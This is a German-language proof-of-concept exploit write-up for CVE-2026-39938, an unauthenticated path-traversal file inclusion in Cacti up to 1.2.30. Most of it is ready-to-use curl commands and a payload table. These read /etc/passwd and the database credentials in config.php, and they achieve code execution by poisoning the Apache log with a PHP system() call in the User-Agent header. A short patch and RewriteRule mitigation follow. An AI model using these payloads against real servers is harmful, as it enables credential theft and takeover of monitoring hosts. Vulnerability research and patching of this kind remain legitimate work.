
Proof-of-Concept-Exploit für CVE-2026-39938: nicht authentifizierte lokale Dateieinbindung in Cacti <= 1.2.30, ermöglicht das Lesen beliebiger Dateien und die Remotecodeausführung durch Log-Poisoning.
| Feld | Wert |
|---|---|
| CVE ID | CVE-2026-39938 |
| CVSS-Score | 9.8 (Critical) |
| Betroffenes Produkt | Cacti |
| Betroffene Versionen | <= 1.2.30 |
| Gepatchte Version | 1.2.31 |
| Fix-Commit | 9871f0c |
Die Schwachstelle befindet sich in lib/rrd.php, wo der Parameter graph_theme direkt ohne Bereinigung verwendet wird:
ANFÄLLIGER CODE:
if (isset($graph_data_array['graph_theme'])) {
$rrdtheme = $config['base_path'] . '/include/themes/' . $graph_data_array['graph_theme'] . '/rrdtheme.php';
}
GEPATCHTER CODE:
if (isset($graph_data_array['graph_theme'])) {
$theme = basename($graph_data_array['graph_theme']);
if ($theme === '' || $theme === '.' || $theme === '..') {
$theme = get_selected_theme();
}
$rrdtheme = $config['base_path'] . '/include/themes/' . $theme . '/rrdtheme.php';
}
Das Problem: Keine Validierung gegen ../-Pfad-Traversal-Sequenzen, sodass Angreifer ohne Authentifizierung beliebige Dateien lesen können.
curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../etc/passwd"
Ergebnis: Inhalt von /etc/passwd wird in der Antwort angezeigt.
curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../include/config.php"
Ergebnis: Datenbank-Anmeldedaten (Benutzername, Passwort) werden offengelegt.
curl -k -s "http://target-cacti/graph_image.php?local_graph_id=1" \
-H "User-Agent: <?php system('id'); ?>"
curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../var/log/apache2/access.log"
Ergebnis: Die Befehlsausgabe (z. B. uid=33(www-data)) wird angezeigt.
http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../etc/passwd
http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../include/config.php
http://target-cacti/graph_image.php?local_graph_id=1
Mit Header: User-Agent: <?php system('id'); ?>
http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../var/log/apache2/access.log
cd /var/www/html/cacti
git fetch --tags
git checkout tags/release/1.2.31
grep -A 5 "if (isset(\$graph_data_array\['graph_theme'\]))" lib/rrd.php | grep basename
RewriteCond %{QUERY_STRING} (^|&)graph_theme=\.\./ [NC]
RewriteRule ^graph_image\.php$ - [F,L]
Bericht erstellt für Sicherheitsforschungszwecke Datum: 27. Juni 2026
| Endpunkt | Parameter | Beispiel-Payload |
|---|
/graph_image.php | graph_theme | ../../../../../../../etc/passwd |
/graph_image.php | graph_theme | ../../../../include/config.php |
/graph_image.php | graph_theme | ../../../../../../../var/log/apache2/access.log |